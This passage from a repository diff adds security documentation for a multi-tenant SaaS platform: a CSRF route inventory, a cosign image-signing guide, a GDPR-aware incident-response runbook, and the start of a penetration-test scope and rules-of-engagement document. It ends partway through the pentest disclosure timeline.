- The operator may pause or cancel the program at any time. Findings in flight at the time of pause are still eligible for the reward tier in force at submission.
- The operator may exclude classes of findings (e.g. flood of similar low-severity findings) for a defined period after an announcement.
- The operator reserves the right to **not** reward findings that demonstrably caused harm beyond what was required to demonstrate impact.
## 8. Public credit
Researchers may opt in to public credit on the operator's hall-of-fame page (see [`vulnerability-disclosure.md`](./vulnerability-disclosure.md#9-hall-of-fame)) regardless of whether they receive a monetary reward. Credit is reversible — reporters can ask to be removed.
## 9. Program revision
When the program is activated, this section must be filled in with:
- **Activated:** `<YYYY-MM-DD>`
- **Activated by:** `<operator-role>`
- **Initial reward envelope:** `<EUR per quarter>`
- **Reporter agreement version:** `<semver or date>`
- **Public announcement URL:** `<url>`
@@ -0,0 +1,81 @@
# CSRF and Mutating Route Inventory
This inventory documents the intended CSRF and alternate-auth posture for mutating browser and API surfaces. It is deliberately limited to route names, protection classes, and verification commands; it must not include secrets, tokens, tenant identifiers, fixture IDs, or customer data.
## Central CSRF Contract
The web session CSRF contract is centralized in `apps/web/app/utils/session.server.ts` and covered by `apps/web/app/utils/session.server.test.ts` plus the static sweep in `apps/web/app/utils/session-csrf-sweep.test.ts`. The runtime API contract — including the single-read FormData injection rule introduced by the B-009 follow-up fix — is documented in `docs/architecture/csrf.md`.
Expected behavior:
- New CSRF state is stored and read through the canonical `csrf` session key.
- Request validation compares the submitted `csrf` form value with the session `csrf` value.
- Raw session mutation of `session.set("csrf", ...)` stays centralized in the session helper.
- Action handlers that drain `request.formData()` before validating MUST pass the parsed FormData via `validateCSRFToken(request, { formData })`; the helper never re-reads a consumed body. See `docs/architecture/csrf.md` for the full API.
- Historical legacy spelling `crsf` is mentioned here only as a deprecated spelling that must not reappear in application source or active session behavior.
## Protected Web Form and Action Surfaces
Protected React Router POST form surfaces must either submit a `csrf` field or route through server-side CSRF validation. The current enforced protected form entry is:
| Surface | Protection | Enforced by |
| --- | --- | --- |
| `apps/web/app/modules/users/components/RegisterForm.tsx` | Hidden `csrf` field with server-side validation in the auth flow | `apps/web/app/utils/session-csrf-sweep.test.ts`, `apps/web/app/utils/session.server.test.ts` |
The sweep intentionally reports path-specific diagnostics so any newly added protected `Form` or `fetcher.Form` with `method="post"` must be added with a clear protection path instead of silently bypassing CSRF.
## Documented Web Exceptions
These browser-facing mutating surfaces are intentional non-CSRF exceptions because they are public entry points that create or recover sessions, accept invitation input, or otherwise run before a signed-in CSRF-bearing session exists.
| Surface | Rationale / alternate guard |
| --- | --- |
| `apps/web/app/modules/users/components/LoginForm.tsx` | Public credential exchange creates a session before CSRF exists; guarded by authentication checks rather than an existing session token. |
| `apps/web/app/routes/forgot-password.tsx` | Public password-reset request surface; protection is request-specific reset flow handling rather than a prior session CSRF token. |
| `apps/web/app/routes/invitation.$id.tsx` | Public invitation acceptance surface addressed by invitation context; does not rely on an existing authenticated browser session. |
| `apps/web/app/routes/reset.tsx` | Public password-reset completion surface; guarded by reset-flow state rather than a prior session CSRF token. |
Keep these exceptions path-specific. Broad directory or glob exceptions would make future protected forms unverifiable.
## Dedicated API Mutating Route Classes
The Hono API under `/v1` is not protected by browser-session CSRF. Mutating API endpoints are classified by dedicated authentication or public-ingress semantics in `apps/api/src/csrf-inventory.test.ts`.
| Class | Routes | Rationale |
| --- | --- | --- |
| `auth-credential-exchange` | `POST /v1/auth/login` | Exchanges submitted credentials for an API JWT after credential verification. |
| `jwt-auth` | `POST /v1/auth/refresh-token`, `POST /v1/auth/logout` | Requires an existing bearer JWT before issuing a replacement token or revoking the active API session. |
| `optional-api-key-validation` | `POST /v1/api-keys/validate` | Public validation surface that classifies supplied API keys or service tokens without browser CSRF state. |
| `service-token` | `POST /v1/ai/upload`, `POST /v1/maintenance/export-retention/enqueue`, `POST /v1/workspaces/:tenantId/context/revalidate`, `POST /v1/workspaces/:tenantId/invites`, `POST /v1/workspaces/:tenantId/invites/:inviteId/accept`, `POST /v1/workspaces/:tenantId/invites/:inviteId/revoke` | Requires service/runtime credentials rather than browser CSRF state. |
| `service-or-tenant-api-key` | `POST /v1/entities/:entity/rows`, `PATCH /v1/entities/:entity/rows/:rowId`, `DELETE /v1/entities/:entity/rows/:rowId`, `POST /v1/relationships`, `DELETE /v1/relationships/:id` | Requires service-token or tenant API-key authorization with tenant scope rather than browser CSRF state. |
| `webhook-signature` | `POST /v1/events/webhooks/attempts/:id`, `POST /v1/support/inbound-email`, `POST /v1/email-sequences/mailjet/webhooks`, `POST /v1/billing/stripe/webhooks` | Requires signed webhook headers before queueing retry work, accepting inbound support email, correlating sequence provider bounces, or processing billing lifecycle events. |
| `public-analytics-token` | `POST /v1/analytics/events`, `POST /v1/analytics/page-views` | Public analytics write ingress scoped to analytics payload identifiers and analytics-token semantics, not a browser session. |
Any new `POST`, `PATCH`, or `DELETE` `/v1` route must be classified in the API inventory test with an allowed protection class and a non-empty rationale.
## Verification Commands
Run focused verification from the repository root after changing CSRF/session behavior, protected POST forms, API mutating routes, or this document:
```bash
pnpm exec vitest run apps/web/app/utils/session.server.test.ts apps/web/app/utils/session-csrf-sweep.test.ts apps/api/src/csrf-inventory.test.ts
test -s docs/security/csrf-inventory.md && grep -q "apps/api/src/csrf-inventory.test.ts" docs/security/csrf-inventory.md
python - <<'PY'
from pathlib import Path
text = Path('docs/security/csrf-inventory.md').read_text()
required = [
'Central CSRF Contract',
'Protected Web Form and Action Surfaces',
'Documented Web Exceptions',
'Dedicated API Mutating Route Classes',
'Verification Commands',
'apps/web/app/utils/session-csrf-sweep.test.ts',
'apps/api/src/csrf-inventory.test.ts',
]
missing = [item for item in required if item not in text]
assert not missing, missing
assert text.count('c' + 'rsf') == 1
PY
```
The Python check keeps the document regression-friendly by requiring the durable sections and allowing the legacy spelling only in the historical note above.
@@ -0,0 +1,72 @@
# Container Image Signing (cosign)
The Gitea deploy workflow (`.gitea/workflows/deploy.yml`) attempts to sign every
container image it publishes to the Gitea Package Registry using
[cosign](https://docs.sigstore.dev/cosign/overview/) with a long-lived keypair.
The signing step is skip-safe: if `COSIGN_PRIVATE_KEY` or `COSIGN_PASSWORD` is
not configured, the workflow logs a notice and continues without signatures.
Promote runs never rebuild — they retag the staging digest as `:main` — so a
single successful signing pass per commit covers both staging and production
deployments.
## What gets signed
For each push to `main`, the workflow signs the following images at their
full-SHA tag:
- `{registry}/{namespace}/web:<sha>`
- `{registry}/{namespace}/api:<sha>`
- `{registry}/{namespace}/worker:<sha>`
Because cosign signatures are bound to the manifest digest (not the tag), the
`:staging` and `:main` aliases that are later created via
`docker buildx imagetools create` resolve to the same digest and therefore the
same signature.
## Required Gitea secrets
Configure the following repository-level secrets in Gitea. The signing step is
SKIP-safe — if either secret is unset, the workflow logs a notice and
continues.
| Secret | Description |
| --------------------- | -------------------------------------------------------------------- |
| `COSIGN_PRIVATE_KEY` | PEM-encoded cosign private key (output of `cosign generate-key-pair`). |
| `COSIGN_PASSWORD` | Password protecting the private key. |
Generate the keypair locally with:
```bash
cosign generate-key-pair
# emits cosign.key (private, set as COSIGN_PRIVATE_KEY) and cosign.pub (public)
```
Commit the resulting `cosign.pub` to the repository root (optional but
recommended) so downstream verifiers can fetch it directly from Git.
## Verifying an image
Anyone pulling a published image can verify authenticity with the public key:
```bash
# Using the public key from this repo (if checked in as cosign.pub):
cosign verify --key cosign.pub \
{registry}/{namespace}/web:main
# Or pin to a specific revision:
cosign verify --key cosign.pub \
{registry}/{namespace}/web:<full-sha>
```
A successful verification prints the signed payload as JSON and exits 0. A
mismatched, skipped, or missing signature exits non-zero.
## Operational notes
- Signatures are stored as OCI artifacts alongside the image in the Gitea
Package Registry. No extra infrastructure is required.
- Rotating the keypair: generate a new pair, update the Gitea secrets, and
replace `cosign.pub`. Older images remain verifiable against the previous
public key kept in Git history.
- The signing step runs only during the `stage` action so promote runs do not
re-sign already-signed digests.
@@ -0,0 +1,424 @@
# Incident-Response Runbook
This runbook is the canonical incident-response (IR) playbook for the platform. It covers severity classification, the six-phase IR workflow, the GDPR 72-hour breach-notification workflow, and the communication templates used during and after an incident.
It complements (does not replace) the existing [`runbook.md`](./runbook.md), which documents the **security-header and CORS contract**. When `runbook.md` references "the IR runbook" or "the security-team", this document is what it means.
> Cross-references:
> - [`threat-model.md`](./threat-model.md) — STRIDE matrix referenced from "Detection"
> - [`vulnerability-disclosure.md`](./vulnerability-disclosure.md) — researcher-side flow
> - [`pen-test-scope.md`](./pen-test-scope.md) — engagement contract
> - [`sbom.md`](./sbom.md) — dependency-CVE forensics
## 1. IR-team roster and contacts
The operator maintains the live roster in their secure password manager and on the operator status page. The roles below are required for every incident:
| Role | Responsibility | Channel |
| --- | --- | --- |
| **IR Lead** | Owns the incident end-to-end; approves all external communication | `security@<your-domain>`, on-call paging |
| **Engineering Lead** | Drives containment + eradication; owns the technical fix | `oncall@<your-domain>` |
| **Communications Lead** | Owns customer + regulator + press messaging | `comms@<your-domain>` |
| **Data-Protection Officer (DPO)** | Owns GDPR Article 33 / 34 decisions and filings | `dpo@<your-domain>` |
| **Legal Counsel** | Reviews customer + regulator + press communication; signs the breach-decision record | `legal@<your-domain>` |
| **Scribe** | Captures timeline, decisions and evidence into the incident channel | rotated per incident |
For **P0 / Sev-1** incidents the IR Lead and Engineering Lead must both be paged within 15 minutes of detection. For P1 / Sev-2 within 1 hour. P2 within 4 hours. P3 next business day.
## 2. Severity classification
| Severity | Examples | Response SLA | Pages |
| --- | --- | --- | --- |
| **P0 / Sev-1** | Confirmed data breach with PII exfiltration. Production-down across all tenants. Active exploit of a known vulnerability. Cryptographic-key compromise. Backup-restore failure during a recovery operation. | Acknowledge ≤ 15 min, IR-team assembled ≤ 30 min | IR Lead + Engineering Lead + DPO + Comms |
| **P1 / Sev-2** | Confirmed credential compromise scoped to one tenant. Strong suspicion of breach with intact-but-elevated-risk evidence. Service degradation affecting > 25 % of tenants. Audit-verifier chain failure on a recent window. Outbound webhook leaking to an unintended URL. | Acknowledge ≤ 1 h, IR-team assembled ≤ 2 h | IR Lead + Engineering Lead |
| **P2 / Sev-3** | Suspicious activity that has not yet escalated to "compromise". Failed audit check on an isolated record. Permission-matrix regression caught in staging. Single-tenant performance regression without data risk. | Acknowledge ≤ 4 h, IR-team assembled within 1 business day | IR Lead |
| **P3 / Sev-4** | Low-risk finding from a security researcher (no exploit path). Documentation gap. Operator-procedural drift. | Acknowledge ≤ 1 business day | IR Lead (async) |
Severity is set by the IR Lead based on the evidence at detection time and **may be raised** during the incident; downgrades require Engineering Lead + DPO concurrence.
## 3. Six-phase IR workflow
Every incident, regardless of severity, follows the same six phases. P2/P3 incidents may compress steps but must produce the same record.
### Phase 1 — Detection
Sources of detection (non-exhaustive):
- Sentry alert (especially `severity >= error` with `pii.scrubbed=false` tags)
- Audit-verifier nightly job (`compliance-audit-export` chain-validation)
- Metrics alert (login failure spike, queue depth spike, AI cost spike, webhook-delivery dead-letter spike)
- User / customer report via support or status-page
- Researcher report via [`vulnerability-disclosure.md`](./vulnerability-disclosure.md)
- Provider notification (Stripe / Mailjet / OpenAI / Bunny / Sentry / Authentik)
- IR team review of the [`threat-model.md`](./threat-model.md) residual-risk list
**Action**: open an incident in the operator's incident-tracker, page the IR Lead, set provisional severity, and start the timeline log.
### Phase 2 — Triage
The IR Lead, within the severity SLA:
1. Confirms or revises the severity
2. Confirms the affected surface (use [`threat-model.md`](./threat-model.md) component list)
3. Identifies whether GDPR Article 33 may apply (see [§5](#5-gdpr-72-hour-breach-notification-workflow))
4. Identifies whether customer notification is required (Article 34)
5. Identifies the on-call IR-team members and pages them
6. Starts the dedicated incident Slack channel (`#incident-<YYYY-MM-DD>-<short-id>`)
7. Locks down evidence: snapshot Sentry events, AuditEvent rows, metrics windows, relevant logs
**Output**: triage record with severity, scope, GDPR-relevance, IR-team roster, evidence pointers.
### Phase 3 — Containment
Goal: stop the bleeding without destroying evidence.
Tactical levers (in roughly increasing impact):
- Disable affected **feature flag** (see `packages/feature-flags`) — narrowest blast radius
- Disable affected **route** at API or Web layer via temporary middleware (operator change)
- Disable affected **worker queue group** (`docs/ops/worker-queues.md`)
- Disable **outbound webhook delivery** (operator killswitch documented in `docs/architecture/outbox-pattern.md`)
- **Invalidate sessions** for affected users (mass-revoke via DB script; documented in `docs/operations/database-rollback.md`)
- **Rotate API keys / JWT secret / Stripe webhook secret** (rotation runbook in operator password manager)
- **Block IP ranges** at WAF / Coolify edge
- **Take service offline** behind status-page maintenance — last resort
For each lever applied: record actor, timestamp, lever, scope, expected impact, observed impact in the incident channel.
### Phase 4 — Eradication
Goal: remove the root cause.
- Root-cause analysis (RCA) using AuditEvent hash-chain forensics — when [`compliance-audit-export`](../improvement-plan/10-compliance-polish/compliance-audit-export.md) lands, the verifier is the canonical forensics source; until then the operator uses Sentry traces + DB audit rows + metrics
- Code fix authored on a feature branch, reviewed by Engineering Lead
- Tests added (regression + non-regression) — coverage gate enforced
- Patch deployed (Coolify auto-deploy or manual `prisma:migrate:deploy`)
- If the root cause is a leaked secret: rotate, force re-issue, document in the rotation log
### Phase 5 — Recovery
Goal: return to normal operation, verified.
- Re-enable feature flags / routes / queue groups disabled in containment
- Validate via metrics + Sentry that the error signal is gone
- Validate via synthetic / E2E (where the operator has explicitly approved E2E for this session) that the customer-facing path works
- Update the status page to "resolved" with the timeline summary
- For credential rotations: confirm 0 active sessions still bound to the rotated secret
### Phase 6 — Lessons learned
Goal: institutional memory.
Within **5 business days** of recovery, the IR Lead publishes a post-mortem at:
```
docs/security/incidents/<YYYY-MM-DD>-<short-id>.md
```
(See [§9](#9-post-incident-review-template) for the template. The `incidents/` directory is created lazily — first incident is responsible for creating it with a `.gitkeep`.)
The post-mortem is reviewed at the next IR-team weekly. Action items are tracked in the improvement plan with phase + commit category. The [`threat-model.md`](./threat-model.md) is updated if a new control class was added or a residual risk needs to be re-classified.
## 4. Forensics
Forensics relies on three sources of truth, in order of preference:
1. **AuditEvent hash-chain** (canonical; tamper-evident once [`compliance-audit-export`](../improvement-plan/10-compliance-polish/compliance-audit-export.md) lands its verifier)
2. **Sentry events + breadcrumbs** (PII-scrubbed; subject to retention)
3. **Metrics + logs** (high-volume; subject to retention + sampling)
**Evidence rules**:
- Snapshot **before** changing anything. The triage step creates the evidence pointer record.
- Do not paste raw secrets / customer PII / tenant identifiers / production tokens into the incident channel. Use generic labels per the rules in [`SECURITY.md`](../../SECURITY.md) "Safe evidence".
- Preserve operator audit-trail (admin actions during the incident are themselves auditable).
- For DB-level evidence: prefer `pg_dump --table` of a single table + WHERE clause over `SELECT` into the channel. Encrypt and attach to the incident record.
## 5. GDPR 72-hour breach-notification workflow
This workflow applies whenever a confirmed or suspected breach involves personal data of EU / UK / EEA data subjects.
### 5.1 Decision flow
```mermaid
flowchart TD
Detection["Confirmed breach<br/>(Article 4(12))"]
Q1{"Is risk to rights and<br/>freedoms unlikely?"}
Q2{"Is risk high?"}
NoNotify["Document decision;<br/>no notification required"]
Notify33["Notify supervisory authority<br/>within 72 h (Art. 33)"]
Notify34["Notify data subjects<br/>without undue delay (Art. 34)"]
Detection --> Q1
Q1 -- "yes" --> NoNotify
Q1 -- "no" --> Notify33
Notify33 --> Q2
Q2 -- "yes" --> Notify34
Q2 -- "no" --> Done["Done — keep record"]
Notify34 --> Done
```
The **DPO owns the decision** at each branch and records the rationale in writing. The Legal Counsel signs off before any external notification leaves the operator.
### 5.2 72-hour clock
The 72-hour clock starts when the operator becomes **aware** of a breach (Article 33(1)). "Aware" means reasonable certainty that a breach affecting personal data has occurred — not certainty about scope or attribution.
| Hour | Required state |
| --- | --- |
| H+0 | Incident opened, IR-team paged, DPO notified |
| H+4 | Initial scope assessment — affected categories of data subjects, categories of data, approximate volume |
| H+24 | Containment in place or documented infeasibility |
| H+48 | Article 33 notification drafted and Legal-Counsel reviewed |
| H+72 | Article 33 notification filed with the competent supervisory authority |
If the operator cannot meet H+72 with complete information, file an initial notification with the available facts and state the reason for the delay (Article 33(4)).
### 5.3 Supervisory-authority filing
For German tenants the default supervisory authority is the **competent state DPA** (LDI) of the tenant's registered location, or the **Federal Commissioner for Data Protection and Freedom of Information (BfDI)** when federal jurisdiction applies. The DPO maintains the current authority mapping in the operator password manager.
The filing must include (Article 33(3)):
- Nature of the breach, categories and approximate numbers of data subjects and records concerned
- Name and contact details of the DPO or other contact point
- Likely consequences
- Measures taken or proposed to address the breach and mitigate adverse effects
### 5.4 Article 34 data-subject notification
Required when the breach is likely to result in a **high risk** to data subjects (Article 34(1)). Not required if:
- Encryption / pseudonymisation renders the data unintelligible (Article 34(3)(a))
- Subsequent measures ensure the high risk is no longer likely (Article 34(3)(b))
- It would involve disproportionate effort — in which case a public communication is made instead (Article 34(3)(c))
Notification template: see [§7.2](#72-customer-data-subject-breach-notification).
### 5.5 Breach-decision record (BDR)
Every breach — notified or not — produces a BDR stored at:
```
docs/security/incidents/<YYYY-MM-DD>-<short-id>/breach-decision-record.md
```
The BDR captures: scope assessment, Article 33 decision + rationale, Article 34 decision + rationale, DPO signature, Legal-Counsel signature, IR-Lead signature, supervisory-authority filing reference number (if filed), customer-notification dispatch reference (if dispatched). The BDR is **not** published; it is retained for the operator's GDPR-compliance retention period.
## 6. Mass customer notification workflow
When Article 34 (or operator policy) requires mass notification:
1. The Comms Lead drafts the message from the template ([§7.2](#72-customer-data-subject-breach-notification))
2. Legal Counsel reviews
3. IR Lead approves
4. The Engineering Lead enqueues a **dedicated mail batch** through the worker mail queue with the **CRITICAL** priority (see `docs/architecture/job-priority.md`)
5. The mail batch is sent to the **affected data-subject cohort** only — selection script reviewed by Engineering Lead, peer-reviewed by IR Lead, stored as evidence
6. The send is monitored: per-second send rate kept within Mailjet reputation thresholds; bounce + complaint webhooks watched live
7. Status-page notice published before send-start
For breaches affecting > 10 000 data subjects, the operator may instead publish a public communication on the operator's security page (Article 34(3)(c)) — Legal Counsel signs off.
## 7. Communication templates
Templates are intentionally generic — they are filled in by the Comms Lead at incident time. **Do not** include real customer names, tenant identifiers, or production credentials in the live message.
### 7.1 Internal team — incident open
```
Subject: [INCIDENT][P<severity>] <short-headline>
Severity: P<severity>
Incident channel: #incident-<YYYY-MM-DD>-<short-id>
IR Lead: <name>
Engineering Lead: <name>
DPO involved: <yes/no>
Status: triage
Summary
- What we know:
- What we don't know:
- What we're doing now:
- Next checkpoint: <time>
If you are on the IR roster, join the channel. If you are not on the roster but
have data relevant to this incident, post in the channel.
Do not paste customer data, tokens, or credentials. Use the generic-label rules
in docs/security/runbook.md.
```
### 7.2 Customer / data-subject breach notification
```
Subject: Important security notice regarding your <product> account
Dear <Customer / Data subject>,
We are writing to inform you of a security incident that may have affected
information associated with your <product> account.
What happened
On <date>, our security team identified <short factual description>. We took
the following steps to contain the incident: <bullet list>.
What information was involved
The incident may have involved the following categories of information about
your account: <bullet list of categories — e.g. "email address", "encrypted
password hash", "tenant configuration metadata">. We have no evidence that
<categories that were not involved, if known>.
What we are doing
- <containment step>
- <eradication step>
- <recovery step>
- We have <notified / not notified> the competent supervisory authority under
Article 33 GDPR.
What you can do
- <action 1 — e.g. "rotate any API keys associated with your account">
- <action 2 — e.g. "review your audit log at <URL>">
- <action 3 — e.g. "contact us with any questions at security@<your-domain>">
For more information, please see our security advisory at
https://app.<your-domain>/security/advisories/<advisory-id>.
We are sorry for this incident and for the disruption it may cause. If you have
questions, please reply to this email or write to security@<your-domain>.
The <product> security team
```
### 7.3 Status-page post
```
[INVESTIGATING] <short-headline>
We are currently investigating <generic description>. Customer impact is
<scope description>. We will post an update by <time>.
[IDENTIFIED] <short-headline>
We have identified the cause as <generic description>. We are <action>.
Estimated time to resolution: <time>.
[MONITORING] <short-headline>
A fix has been deployed. We are monitoring metrics. We will post a final
update when we are confident the incident is resolved.
[RESOLVED] <short-headline>
The incident is resolved. A post-mortem will be published at
https://app.<your-domain>/security/advisories/<advisory-id> within 5 business
days.
```
### 7.4 Press statement (P0 only, CEO-approved)
```
On <date>, <company> identified a security incident affecting <generic
description of scope>. We took immediate steps to contain the incident,
notified affected customers, and reported the incident to the competent
supervisory authority as required by GDPR.
We are committed to the security of our customers' data. We are conducting
a full post-incident review and will publish a public advisory at
https://app.<your-domain>/security/advisories/<advisory-id> within five
business days.
For media enquiries: press@<your-domain>.
For customer enquiries: security@<your-domain>.
```
### 7.5 Supervisory-authority filing (Article 33)
The DPO uses the supervisory authority's own form (e.g. BfDI online portal). The form maps to the Article 33(3) requirements listed in [§5.3](#53-supervisory-authority-filing). The filing reference number is recorded in the BDR.
## 8. Drills
The operator runs IR drills **at least every six months**. A drill consists of:
- A synthetic detection event (e.g. a planted Sentry alert against a `pentest:*` tag)
- Real-time response with the full IR-team roster
- Tabletop walk-through of the six-phase workflow
- Article 33 / 34 decision exercise (using a synthetic data-subject cohort)
- Communication-template fill-in (no actual send)
- Drill post-mortem at `docs/security/incidents/drills/<YYYY-MM-DD>-drill.md`
A drill is **not** a substitute for a real incident's post-mortem; it is preparation.
## 9. Post-incident review template
A post-mortem is published at `docs/security/incidents/<YYYY-MM-DD>-<short-id>.md` within 5 business days of recovery. The template:
```markdown
# Incident: <short-headline>
- **Date:** <YYYY-MM-DD>
- **Severity:** P<n>
- **Duration (detection → resolved):** <h:mm>
- **IR Lead:** <name>
- **Engineering Lead:** <name>
- **DPO involved:** <yes/no>
- **Customer impact:** <scope>
- **GDPR Article 33 filed:** <yes/no — reference if filed>
- **GDPR Article 34 sent:** <yes/no — count if sent>
## Summary
<2–3 sentences>
## Timeline
| Time (UTC) | Event |
| --- | --- |
## Detection
How did we find out? Which signal fired? Could we have found out earlier?
## Root cause
Technical root cause + contributing factors. Reference STRIDE component from
threat-model.md if applicable.
## Containment
What did we do, in what order? What worked, what did not?
## Eradication
Code/config change(s) that closed the root cause. Link to commits + PRs.
## Recovery
How did we verify normal operation?
## What went well
- …
## What went badly
- …
## Action items
| # | Action | Owner | Due |
| --- | --- | --- | --- |
## Threat-model updates
Did this incident reveal a new control class or move a residual risk into
"accepted" or "mitigated"? Link to the threat-model.md edit.
## Customer communication
- Article 34 notification: <yes/no, dispatch reference>
- Status-page post: <link>
- Public advisory: <link>
```
## 10. Break-glass procedures
Some operations require break-glass access (e.g. direct DB write, secret rotation outside the rotation cadence, IdP fallback). These are **always P1+** by definition and trigger:
1. Page IR Lead + Engineering Lead + DPO simultaneously
2. Open incident channel before the break-glass action
3. Two-person approval recorded in the channel
4. AuditEvent emitted from the operator-tooling executing the action
5. Post-action review within 24 hours
6. Break-glass-credential rotation within 24 hours
Documented break-glass procedures:
- **Direct DB write** — see `docs/operations/database-rollback.md`
- **Stripe webhook-secret rotation** — operator password-manager runbook
- **JWT-secret rotation** — operator password-manager runbook (mass-revoke required)
- **IdP fallback (Authentik down)** — fall back to local admin credential; documented in `infra/authentik/README.md`
- **Backup restore in production** — `docs/ops/backup-cli.md` `restore` section
- **Tenant-snapshot restore** — `docs/ops/tenant-snapshot.md` `restore` section
@@ -0,0 +1,176 @@
# Penetration-Test Scope and Engagement Guidelines
This document is the canonical scope and ground-rules contract for any third-party penetration testing of the platform. It is referenced from [`SECURITY.md`](../../SECURITY.md), from [`vulnerability-disclosure.md`](./vulnerability-disclosure.md) and from the public `.well-known/security.txt`. Engagement-specific addenda (test credentials, NDA, statement-of-work) are provided privately by the operator.
> **Status:** template — pre-defined scope. The operator selects a test window per engagement and signs the addendum separately.
## 1. Engagement contact and escalation
| Role | Contact | Channel |
| --- | --- | --- |
| Primary security contact | `security@<your-domain>` | Email + PGP (see `.well-known/pgp-key.txt`) |
| Data-protection officer (DPO) | `dpo@<your-domain>` | Email |
| Out-of-hours escalation | `oncall@<your-domain>` | Operator-side paging |
| Coordinated-disclosure liaison | `security@<your-domain>` | Email |
All initial engagement traffic must go through `security@<your-domain>`; secondary channels are only used after the operator confirms.
## 2. In-scope assets
The following systems are in scope for authorised testing. Replace `<env>` with the agreed environment (`staging` or `pentest`).
### Web and API surface
- `https://app.<env>.<your-domain>` — primary tenant web SSR
- `https://admin.<env>.<your-domain>` — admin UI (host-aware variant)
- `https://api.<env>.<your-domain>` — versioned `/v1/*` HTTP surface
- `https://realtime.<env>.<your-domain>` — Hocuspocus collaboration WebSocket
- `https://app.<env>.<your-domain>/.well-known/security.txt`
- `https://app.<env>.<your-domain>/embed/forms/*` — form-widget embed surface
- `https://app.<env>.<your-domain>/api/leads/capture` — marketing lead-capture endpoint
- `https://cdn.<env>.<your-domain>/widget.js` and `marketing.js` — public widget bootstraps
### Tenant data plane
Test tenants are provisioned per engagement (see [§4](#4-test-tenants-and-credentials)). Cross-tenant assertions must be exercised against operator-provided tenant pairs only.
### Background processing surface
Worker-internal HTTP probes (`/healthz`, `/readyz` on per-group ports `9101–9105`) are **out of public scope** but may be exercised through documented admin endpoints exposed by the API.
### Documentation surface
The repository's documentation set (`docs/security/*`, `docs/operations/*`) is in scope for review only — modifications must come via the responsible-disclosure channel.
## 3. Out-of-scope assets and activities
The following are explicitly **out of scope** and any testing against them voids the safe-harbor commitment in [`vulnerability-disclosure.md`](./vulnerability-disclosure.md):
### Out-of-scope assets
- Production tenants (`app.<your-domain>` without `<env>` prefix)
- Third-party provider consoles or APIs:
- Stripe (live + test), Mailjet, OpenAI / Anthropic / Scaleway / Aleph-Alpha, Bunny CDN, Cloudflare, GitHub, Sentry SaaS (if used), MeiliSearch Cloud, Qdrant Cloud
- Marketing site (`<your-domain>` and `www.<your-domain>` static pages) — separate engagement
- Operator infrastructure outside the documented endpoints (DNS registrar, Coolify console, Postgres direct port, Redis direct port)
- Customer-configured outbound webhook destinations
- Customer-configured SSO IdPs
### Out-of-scope activities
- **Destructive testing** — no actions that permanently delete data, corrupt backups, or DOS production / staging
- **Real-user data exfiltration** — no harvest of production-grade PII. If a test inadvertently surfaces production data, stop, do not store, do not share, and notify `security@<your-domain>` immediately
- **Stripe live-mode replay** — webhook replay must use Stripe CLI in test-mode against the dedicated `pentest` tenant; live-mode payloads are out of scope
- **Mail-bomb / SMS-bomb** — no testing that triggers more than 10 outbound notifications per minute to non-operator-provided addresses
- **Social engineering** of operator staff, customers, or third-party support — out of scope
- **Physical access** — out of scope
- **Denial-of-service / load testing** — disallowed without operator-signed addendum and a maintenance window
- **Modification of test artifacts on a shared environment** — each engagement gets its own tenant
- **Brute-force at scale** — limited bursts to demonstrate rate-limit behavior are allowed; sustained credential-stuffing campaigns are not
- **Testing of public CDN edge caches** — must not include cache-poisoning against shared edges
## 4. Test tenants and credentials
For each engagement the operator provisions:
- One dedicated `pentest-<engagement-id>` tenant on `<env>`
- Two non-admin users (Owner + Member) with synthetic email addresses (`pentest+owner-<id>@<your-domain>`, `pentest+member-<id>@<your-domain>`)
- One service API key with `pentest-readonly` scope
- One service API key with `pentest-readwrite` scope (scoped to the `pentest-<id>` tenant only)
Credentials are delivered via PGP-encrypted email or 1Password share, single-use, with a 30-day TTL aligned to the engagement window.
For cross-tenant isolation tests, the operator additionally provisions a **paired** `pentest-isolation-<engagement-id>` tenant. Both tenants share a synthetic data shape but must remain logically isolated; demonstrating a cross-tenant read or write between this pair is an in-scope finding.
## 5. Test windows
- Default window: **two consecutive weeks** within an operator-confirmed slot
- Allowed hours: Monday–Friday 09:00–18:00 CET (Europe/Berlin). Off-hours testing only with written operator confirmation
- Maintenance freeze: no testing during operator-announced freezes (e.g. release nights, regulatory audit windows)
- Live-update channel: `security@<your-domain>` with a daily status email; an emergency stop is honoured within one business hour
## 6. Expected test classes
The engagement is expected to exercise (non-exhaustive):
- **OWASP Top 10** (web)
- **OWASP API Security Top 10**
- **OWASP ASVS Level 2** — control coverage check
- **Tenant isolation** — cross-tenant reads / writes across all data planes (DB, cache, search, vector store, storage, mail, realtime)
- **AuthN / AuthZ** — session, JWT, API-key, magic-link, TOTP, recovery codes, magic-link invitation, SSO (when enabled)
- **IDOR / BOLA** across every `/v1/*` resource
- **Privilege escalation** — role, permission, plugin capability (where shipped)
- **CSRF / clickjacking / CORS**
- **CSP regressions** once enforcement lands
- **Webhook surface** — inbound signature forgery, replay, SSRF on outbound delivery
- **AI surface** — prompt injection (covered for tool-call surfaces), cost exhaustion, prompt-data leakage in logs
- **Form-widget + lead-capture** — origin spoof, embed tamper, honeypot bypass, Turnstile bypass
- **Realtime (Hocuspocus)** — anonymous connect, cross-document read, malformed Yjs payload
- **Storage** — presigned-URL forgery, key-prefix bypass, malicious upload (AV layers 1 + 2)
- **Backup / snapshot CLI** — restore-in-production guardrail, PII-profile leakage
Items explicitly out of scope from the test classes:
- LLM jailbreaks against generic chat surfaces — not in scope (we accept that prompt-injection mitigation is best-effort for free-form chat). Tool-call surfaces remain in scope.
- Dependency-vulnerability scanning against shipped SBOM — covered separately via SBOM workflow (see [`sbom.md`](./sbom.md))
## 7. Reporting format
Findings are reported in Markdown, one file per finding, named `YYYY-MM-DD-<short-slug>.md`. Each file contains:
1. **Title** — concise (≤ 80 chars)
2. **Severity** — CVSS 3.1 vector + score, plus the operator severity bucket (P0–P3, see [`incident-response.md`](./incident-response.md))
3. **Affected surface** — generic route class, endpoint shape, worker job, or documentation page. **Never** a customer-specific URL
4. **Reproduction** — minimal steps using fixtures / synthetic values only. PoC must be deterministic against the pentest tenants
5. **Observed impact** — what happened
6. **Expected behavior** — what should have happened
7. **Remediation suggestion** — optional; the operator's engineers own remediation design
8. **Evidence** — request IDs, job IDs, screenshots redacted of customer / tenant / credential material
9. **References** — CWE, OWASP, related findings
All findings are delivered via PGP-encrypted email to `security@<your-domain>` or via the operator's coordinated-disclosure portal once enabled.
## 8. Disclosure timeline
- **Acknowledgement**: ≤ 48 hours from receipt
- **Triage** (severity assigned, owning team identified): ≤ 5 business days
- **Fix window**:
- **P0 / Critical**: emergency patch ≤ 7 calendar days
